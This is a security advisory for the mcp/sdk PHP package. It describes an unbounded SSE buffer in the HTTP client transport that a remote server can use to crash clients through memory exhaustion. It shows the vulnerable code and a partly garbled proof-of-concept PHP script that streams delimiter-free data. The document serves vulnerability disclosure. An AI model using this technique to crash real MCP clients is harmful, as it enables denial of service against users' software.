GitHub Advisoryadvisory · Packagist

GHSA-7m52-jw36-44r3 MCP PHP SDK: client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter

HIGH Published 2026-08-19 Modified 2026-08-19 Official page ↗
Aliases
CVE-2026-53965
Ecosystem
Packagist
Packages
mcp/sdk
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-400, CWE-770
Reviewed
2026-08-19

Affected packages

• Packagist mcp/sdk: >= 0.5.0, < 0.7.1 → fixed in 0.7.1

Description

Summary The HTTP client transport in `mcp/sdk` reads a Server-Sent-Events (SSE) response stream incrementally and appends each 4 KiB chunk to an in-memory buffer (`$this->sseBuffer .= $chunk;`) with no upper bound. The buffer is only ever flushed when an SSE event delimiter (`"\n\n"`) appears. A remote MCP server (the peer the client connects to) that streams response bytes without ever sending the `"\n\n"` delimiter makes `$sseBuffer` grow without limit until the client process exhausts its PHP `memory_limit` (fatal "Allowed memory size … exhausted") or is killed by the OS OOM-killer. This is a denial-of-service against the MCP client: any server it talks to — or a network position that controls the server's response body — can crash the client by withholding the event delimiter while streaming data. Impact • Type: Denial of service (memory exhaustion / process crash) of the MCP client. • Who can trigger it: The remote MCP server endpoint the client connects to via `HttpTransport`, or any party that can control/inject into that server's SSE response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious or compromised server). The buffer growth happens while the transport is reading the response stream, before a complete event is ever parsed. • Effect: A response stream of N bytes containing no `"\n\n"` drives the client's resident buffer to track N. A few hundred MB of delimiter-free data is enough to kill a client running with a typical `memory_limit`. • Severity (suggested, maintainer to confirm): High — a remote server can reliably crash a connected client over the HTTP/SSE transport. How input reaches the sink (reachability) 1. A client connects to a server over the HTTP transport by constructing `Mcp\Client\Transport\HttpTransport` with the server endpoint URL, then runs the connect/request loop. 2. The transport's loop calls `tick()` (line 182), which calls `processSSEStream()` (line 194) on each iteration. 3. `processSSEStream()` reads up to 4096 bytes from the active SSE stream and appends them to `$this->sseBuffer` (line 203). 4. The buffer is only drained inside the `while (false !== ($pos = strpos($this->sseBuffer, "\n\n")))` loop (line 207). If the server never emits `"\n\n"`, the `strpos` never matches, the buffer is never flushed, and it grows on every `tick()` until OOM. Vulnerable code `src/Client/Transport/HttpTransport.php` (v0.5.0): ```php private string $sseBuffer = ''; ``` ```php private function processSSEStream(): void { if (null === $this->activeStream) { return; } if (!$this->activeStream->eof()) { $chunk = $this->activeStream->read(4096); if ('' !== $chunk) { $this->sseBuffer .= $chunk; // line 203 — unbounded append } } while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) { $event = substr($this->sseBuffer, 0, $pos); $this->sseBuffer = substr($this->sseBuffer, $pos + 2); if (!empty(trim($event))) { $this->processSSEEvent($event); } } if ($this->activeStream->eof() && empty($this->sseBuffer)) { $this->activeStream = null; } } ``` `$this->sseBuffer .= $chunk;` has no length guard; the drain loop only fires when a `"\n\n"` delimiter is present. Proof of concept / End-to-end reproduction (against the released composer package) Environment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test is the real published release `mcp/sdk v0.5.0` (the version that introduced this HTTP client transport), installed from Packagist — not a re-implementation of the sink. Install the released package: ``` $ composer require mcp/sdk:0.5.0 --no-interaction • Installing mcp/sdk (v0.5.0): Extracting archive $ composer show mcp/sdk name : mcp/sdk versions : * v0.5.0 ``` PoC driver (`poc_sse.php`). It exercises the unmodified released `processSSEStream()`; the `ProbeHttp` subclass uses reflection only to inject the active SSE stream and to invoke the inherited private method — no transport logic is overridden. `FloodStream` is a real PSR-7 `StreamInterface` that yields a large body (4096 bytes per `read()`) that never contains `"\n\n"`, mirroring an adversarial SSE server response. The null PSR-18/17 stubs only satisfy the constructor; the sink reads exclusively from the injected stream and never touches the HTTP client: ```php served >= $this->total) return ''; $n = min($length, $this->total - $this->served); $this->served += $n; return str_repeat('A', $n); // never contains "\n\n" } public function eof(): bool { return $this->served >= $this->total; } public function __toString(): string { return ''; } public function close(): void {} public function detach() { return null; } public function getSize(): ?int { return $this->total; } public function tell(): int { return $this->served; } public function isSeekable(): bool { return false; } public function seek(int $o, int $w = SEEK_SET): void {} public function rewind(): void {} public function isWritable(): bool { return false; } public function write(string $s): int { return 0; } public function isReadable(): bool { return true; } public function getContents(): string { return ''; } public function getMetadata(?string $key = null) { return null; } } final class NullHttpClient implements ClientInterface { public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException('not used'); } } final class NullRequestFactory implements RequestFactoryInterface { public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException('not used'); } } final class NullStreamFactory implements StreamFactoryInterface { public function createStream(string $content = ''): StreamInterface { throw new \RuntimeException('not used'); } public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \RuntimeException('not used'); } public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException('not used'); } } final class ProbeHttp extends HttpTransport { public function inject(StreamInterface $s): void { (new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s); } public function pump(): void { (new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this); } } function fmtMB(int $b): string { return number_format($b/1048576,1).' MB'; } $mode = $argv[1] ?? 'attack'; $t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory()); if ($mode === 'control') { $body = ''; for ($i=0;$iinject(new FloodStream(0)); // replaced below by a real stream over $tmp $stream = new class($tmp) implements StreamInterface { public function __construct(private $h) {} public function read(int $l): string { return (string) fread($this->h, $l); } public function eof(): bool { return …

Related

Alias · CVE (1)

  • CVE-2026-53965 The MCP PHP SDK (Composer package mcp/sdk) is the official Model Context Protocol SDK for PHP. vulnerability

Weakness · CWE (2)

  • CWE-400 Uncontrolled Resource Consumption weakness
  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References